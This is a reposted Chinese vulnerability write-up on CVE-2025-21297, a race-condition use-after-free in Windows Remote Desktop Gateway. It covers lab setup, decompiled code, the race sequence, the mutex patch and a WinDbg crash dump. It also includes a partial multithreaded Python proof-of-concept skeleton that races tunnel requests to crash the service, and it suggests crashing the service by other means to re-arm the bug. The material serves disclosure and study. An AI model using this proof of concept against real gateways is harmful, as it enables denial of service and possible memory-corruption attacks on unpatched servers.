文章地址为:https://v-v.space/2025/05/15/CVE-2025-21297/
已取得大佬转载同意,赛博昆仑的大佬是真滴多啊。 对作者敢兴趣的可以关注大佬的 x ,@vv474172261
时隔多月, 也是时候分享一个RDG的案例了. 这是一个全局变量初始化竞争导致的UAF问题. 在azure的挖掘中, 我渐渐熟悉了在开源软件里发现竞争性漏洞的感觉, 在这个case里, 我在binary程序中也找到了发现竞争漏洞的感觉.
配置RDG环境
-
准备虚拟机, 安装未修补漏洞的windows server.
-
安装 RDG 服务
1724930738398 1724930805655 1724930817254 1724930838256 1724930853119 1724930861724 1724930874111 1724930908758 wait until finish installation:
1724931393509 select tools to open RDG manager:
1724931430677 1724931458368 1724931477527 1724931503035 创建自签名证书:
1724931563124 1724931624086 最后点击”OK”:
1724931681229 创建 RDCAP:
1724931754262 1724931772188 选择用户组:
1724931808867 点击 “OK”.
1724931976253 创建 RDRAP:
1724931877871 1724931894166 1724931916078 1724931946012 点击”OK”.
1724931995221
获取进程id:
漏洞介绍
在aaedge.dll!CTsgMsgServer::GetCTsgMsgServerInstance
里, 会初始化全局变量CTsgMsgServer::m_pMsgSvrInstance
:
struct CTsgMsgServer *CTsgMsgServer::GetCTsgMsgServerInstance(void){ v0 = CTsgMsgServer::m_pMsgSvrInstance;if ( CTsgMsgServer::m_pMsgSvrInstance )// a0 goto LABEL_9; v1 = operator new(0x70ui64);if ( v1 ) { v1->ref = 1; CTsgMsgServer::m_pMsgSvrInstance = v1; // a1 ...... v0 = CTsgMsgServer::m_pMsgSvrInstance;LABEL_9: v4 = (v0 + *(v0->_0_60h_0h + 4i64)); (v4->f_0h->func_AddRef_CAAAuthenticateUserSink_180006ce0_0h)(v4);return CTsgMsgServer::m_pMsgSvrInstance;// a2 }
如上所示, 在a1位置, 设置了指针给CTsgMsgServer::m_pMsgSvrInstance
, 在a2位置, 返回值用的是全局变量CTsgMsgServer::m_pMsgSvrInstance
.
现在设想一个如下场景:
-
socket1连接服务, 进入了该函数a0位置, 由于 CTsgMsgServer::m_pMsgSvrInstance
没有初始化, 所以进入到申请内存阶段, 此时还没有到达a1. -
socket2同时连接服务, 进入了该函数, 由于socket1的流程还没有到a1, 所以 CTsgMsgServer::m_pMsgSvrInstance
还是没有初始化, 因此也进入申请内存阶段. -
socket1运行至a1位置, 将heap1赋值给全局变量. 之后运行至a2位置, 准备通过全局变量返回heap1指针. -
socket2运行至a1位置, 用heap2覆盖了 CTsgMsgServer::m_pMsgSvrInstance
存储的heap1的值. heap2->ref 是 1. -
socket1运行结束, 将heap2作为结果返回, 并且heap2->ref 还是1. -
socket2运行到a2, 返回heap2. 此时heap2->ref 是2. -
socket1结束时, 解引用 CTsgMsgServer::m_pMsgSvrInstance
, heap2->ref变成1 -
socket2结束时, 解引用 CTsgMsgServer::m_pMsgSvrInstance
, heap2->ref变成0, heap2被释放.CTsgMsgServer::m_pMsgSvrInstance
变成悬挂指针. -
当socket3连接时, 引用了悬挂指针, 导致UAF
这个全局变量只会初始化一次, 所以只有在服务第一次启动的时候是NULL的, 但是我们可以通过其它漏洞崩溃服务进程, 让它重启, 于是它又是NULL了.
补丁
官方添加了互斥锁, 避免了多线程同时进入初始化流程.
总结
其实这个uaf最大的问题在于返回值用的全局变量指针, 如果是临时变量指针v1, 至少不会导致引用计数错误. 同时, 也提醒我们要关注全局变量的初始化和引用, 避免竞争情况下的异常.
POC核心逻辑
def get_data(conId): data = 'GET /remoteDesktopGateway?......'return datadef main_logic(): sock.send(get_data(conId).encode('utf-8')) sock.recv(1024) time.sleep(0.2) data = HandShakeRequest(0) data = websocket_data(b'xxxx', data) sock.send(data) sock.recv(1024) data = TunnelRequest(2) data = websocket_data(b'xxxx', data) wait_all_threads_ready_and_sync() sock.send(data) time.sleep(0.1) sock.close()def exp():for _ in range(total_thread_nums): pool.submit(main_logic) // 使用多个线程竞争 time.sleep(0.5) main_logic()// 模拟socket3行为
crash栈回溯
0:046> rrax=0000000000000000 rbx=0000000000000000 rcx=000001aa4c74e7c0rdx=000001aa4bfb4f90 rsi=000001aa4c74e7c0 rdi=000001aa4d2a0650rip=00007ffa77957678 rsp=0000003a539fef60 rbp=0000000000000000 r8=7ffffffffffffffc r9=0000000000000000 r10=00000fff4ef319d4r11=0000000004500000 r12=0000000000000001 r13=00007ffa779ce1c8r14=000001aa4c74e7c0 r15=0000000000000000iopl=0 nv up ei pl nz na po nccs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8:00007ffa`77957678 488b02 mov rax,qword ptr [rdx] ds:000001aa`4bfb4f90=????????????????0:046> k# Child-SP RetAddr Call Site00 0000003a`539fef60 00007ffa`77952007 aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf801 0000003a`539fefa0 00007ffa`779528de aaedge!CServerTunnel::Initialize+0x5702 0000003a`539ff030 00007ffa`7795cc20 aaedge!CAAServerTunnelFactory::InternalCreateNewTunnel+0x23a03 0000003a`539ff0a0 00007ffa`7795c776 aaedge!CEdgeOperations::CreateTunnelWithUser+0x3004 0000003a`539ff0e0 00007ffa`7799038a aaedge!CEdgeOperations::CreateTunnel+0x1d605 0000003a`539ff190 00007ffa`779929c9 aaedge!CAAHttpServerConnection::HandleTunnelRequestReceived+0x26206 0000003a`539ff230 00007ffa`77989816 aaedge!CAAHttpServerConnection::OnReceiveDataComplete+0x1c907 0000003a`539ff4d0 00007ffa`7797d5c2 aaedge!CAAHttpServerTransport::WebSocketReceiveLoop+0x104e08 0000003a`539ff640 00007ffa`7797e286 aaedge!CAAHttpServerTransport::HandleWebSocketReceiveRawDataCompletion+0x24e09 0000003a`539ff6d0 00007ffa`94407c4f aaedge!CAAHttpServerTransport::IoCompletionCallback+0x2660a 0000003a`539ff760 00007ffa`95a18e57 kernel32!BasepTpIoCallback+0x4f0b 0000003a`539ff7b0 00007ffa`95a31f9e ntdll!TppIopExecuteCallback+0x1b70c 0000003a`539ff830 00007ffa`9440dbe7 ntdll!TppWorkerThread+0x57e0d 0000003a`539ffb90 00007ffa`95a65a4c kernel32!BaseThreadInitThunk+0x170e 0000003a`539ffbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x2c0:046> !heap -p -a 1aa`4bfb4f90ReadMemory error for address ffffffffffffffe8Use `!address ffffffffffffffe8' to check validity of the address.ReadMemory error for address ffffffffffffffe8Use `!address ffffffffffffffe8' to check validity of the address. address 000001aa4bfb4f90 found in _DPH_HEAP_ROOT @ 1aa40001000in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 1aa400465b0: 1aa4bfb4000 2000 00007ffa95a64373 ntdll!RtlDebugFreeHeap+0x0000000000000037 00007ffa95a0ba6e ntdll!RtlpFreeHeap+0x000000000000174e 00007ffa95a09b80 ntdll!RtlpFreeNTHeapInternal+0x00000000000003f0 00007ffa95a13414 ntdll!RtlpHpTagFreeHeap+0x0000000000000574 00007ffa95a123bd ntdll!RtlFreeHeap+0x000000000000019d 00007ffa94d7d61c msvcrt!free+0x000000000000001c 00007ffa77956fd4 aaedge!CTsgMsgServer::`vector deleting destructor'+0x0000000000000034 00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027 00007ffa7794fba2 aaedge!CServerTunnel::~CServerTunnel+0x00000000000000ce 00007ffa7794fd90 aaedge!CServerTunnel::`vector deleting destructor'+0x0000000000000020 00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027 00007ffa7798c816 aaedge!CAAHttpServerConnection::Cleanup+0x000000000000026e 00007ffa779911ca aaedge!CAAHttpServerConnection::InternalShutdown+0x0000000000000486 00007ffa77992768 aaedge!CAAHttpServerConnection::OnDisconnected+0x00000000000000b8 00007ffa7797c03c aaedge!CAAHttpServerTransport::HandleDisconnected+0x00000000000003b0 00007ffa7797e250 aaedge!CAAHttpServerTransport::IoCompletionCallback+0x0000000000000230 00007ffa94407c4f kernel32!BasepTpIoCallback+0x000000000000004f 00007ffa95a18e57 ntdll!TppIopExecuteCallback+0x00000000000001b7 00007ffa95a31f9e ntdll!TppWorkerThread+0x000000000000057e 00007ffa9440dbe7 kernel32!BaseThreadInitThunk+0x0000000000000017 00007ffa95a65a4c ntdll!RtlUserThreadStart+0x000000000000002c
原文始发于微信公众号(独眼情报):poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论